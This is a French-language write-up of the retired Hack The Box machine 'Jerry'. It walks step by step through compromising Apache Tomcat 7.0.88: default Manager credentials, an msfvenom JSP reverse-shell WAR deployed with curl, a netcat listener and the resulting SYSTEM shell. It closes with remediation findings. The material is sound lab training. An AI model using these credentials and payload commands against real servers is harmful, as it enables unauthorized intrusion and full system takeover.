picsou@htb:~/writeups/easy/jerry$

Windows Easy

Jerry : Tomcat Manager en creds par défaut, WAR vers SYSTEM

Apache Tomcat 7.0.88 dont le Manager accepte tomcat:s3cret. Déploiement d'un WAR JSP malveillant pour un shell direct en SYSTEM, les deux flags d'un coup.

box
Jerry
os
Windows
difficulté
Easy
publiée le
temps
20 min
indices
aucun
outils
nmap curl ffuf msfvenom netcat
techniques
Scan de ports Énumération web Identifiants par défaut Déploiement de WAR malveillant (Tomcat)

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un seul service exposé : Apache Tomcat 7.0.88 sur le port 8080.
  2. Fausse piste CVE-2019-0232 (RCE CGI) : le servlet CGI n'est pas monté, impasse.
  3. Le Tomcat Manager accepte les identifiants par défaut tomcat:s3cret.
  4. Déploiement d'un WAR JSP malveillant via l'API du Manager : shell direct.
  5. Le service Tomcat tourne en contexte administrateur, donc les deux flags tombent en même temps (le fameux "2 for the price of 1").

Reconnaissance

La box n'expose qu'un seul service web sur le port 8080. Un simple banner grab suffit à l'identifier :

kali
curl -I http://10.129.76.207:8080/
curl
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1

La page d'accueil confirme la version : Apache Tomcat/7.0.88. Elle affiche aussi, dès la landing page, les liens vers /manager/html, /manager/status et /host-manager/html. Deux angles possibles : une CVE sur cette version, ou le Manager.

Énumération

Fausse piste : CVE-2019-0232

Tomcat 7.0.88 est dans la fenêtre vulnérable de CVE-2019-0232 (RCE via le CGI Servlet sur Windows, pour les versions 7.0.0 à 7.0.93). Le PoC public cible une URL du type /cgi/<script>.bat?&<commande>. J'ai d'abord tenté le nom d'exemple du PoC (ism.bat), sans succès, puis fuzzé tout le répertoire CGI.

kali
ffuf -u "http://10.129.76.207:8080/cgi/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -e .bat,.cmd -fc 404 -t 40
ffuf
:: Progress: [129021/129021] :: Job [1/1] :: 1459 req/sec :: Duration: [0:01:36] :: Errors: 0 ::
(aucun résultat hors 404)

Le Tomcat Manager

Le réflexe sur un Tomcat exposé, quand le CGI ne donne rien, c'est le Manager et ses identifiants par défaut. La page /manager/html renvoie bien une authentification Basic (401 sans creds).

Foothold

Identifiants par défaut

Le couple par défaut historique de Tomcat, tomcat:s3cret, passe directement :

kali
curl -s -o /dev/null -w "%{http_code}\n" "http://10.129.76.207:8080/manager/html"          # 401
curl -s -o /dev/null -w "%{http_code}\n" -u 'tomcat:s3cret' "http://10.129.76.207:8080/manager/html"   # 200

Le 200 confirme des creds valides avec le rôle manager-gui.

WAR JSP malveillant

Avec le rôle manager-gui, on génère un WAR contenant un reverse shell JSP et on le déploie via l'API texte du Manager (plus rapide que l'interface web).

kali
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.84 LPORT=9999 -f war -o shell.war
kali
curl -su 'tomcat:s3cret' --upload-file shell.war \
  "http://10.129.76.207:8080/manager/text/deploy?path=/shell&update=true"
manager
OK - Deployed application at context path /shell

On place le listener, puis on déclenche le shell en requêtant simplement le contexte déployé :

kali
nc -lvnp 9999
curl "http://10.129.76.207:8080/shell/"

Le shell remonte aussitôt :

shell
Ncat: Connection from 10.129.76.207:49193.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>

Élévation vers SYSTEM

Il n'y a pas d'élévation à faire. Sur cette box, le service Tomcat tourne directement dans un contexte administrateur, donc le shell obtenu au foothold a déjà les droits sur le bureau de l'Administrateur.

Les deux flags sont regroupés dans un seul fichier au nom volontairement piégeux (espaces + chiffres collés), d'où les guillemets obligatoires :

shell
C:\Users\Administrator\Desktop\flags>dir
06/19/2018  07:11 AM    88 2 for the price of 1.txt

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
user.txt
<REDACTED>

root.txt
<REDACTED>

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Tomcat Manager accessible avec identifiants par défaut (tomcat:s3cret)CritiqueChanger les identifiants du Manager, restreindre /manager/* à un réseau d'admin, retirer le rôle manager-gui si inutile
F2Déploiement de WAR autorisé depuis le Manager (RCE par design)CritiqueDésactiver l'accès au Manager en prod, ou le cloisonner par IP et authentification forte
F3Service Tomcat exécuté en contexte administrateur / SYSTEMÉlevéeFaire tourner Tomcat sous un compte de service dédié à privilèges minimaux
F4Version Tomcat obsolète (7.0.88, EoL)MoyenneMigrer vers une version supportée et appliquer les correctifs

Leçons apprises

  • Une version vulnérable ne vaut pas exploitation : CVE-2019-0232 demande une config CGI non-défaut qui n'était pas là. Vérifier les prérequis avant de s'acharner sur un PoC.
  • Sur un Tomcat exposé, le Manager et ses creds par défaut (tomcat:s3cret, tomcat:tomcat, admin:admin) restent le chemin le plus rapide. La landing page liste elle-même les URI utiles.
  • Un 403 sur le Manager après des essais de creds, c'est le LockOutRealm, pas une perte d'accès. Couper le bruteforce et attendre, sinon le compteur ne retombe jamais.
  • Un Tomcat lancé en administrateur transforme un simple foothold web en SYSTEM direct : le déploiement de WAR est une RCE "by design" dès qu'on a le Manager.

Références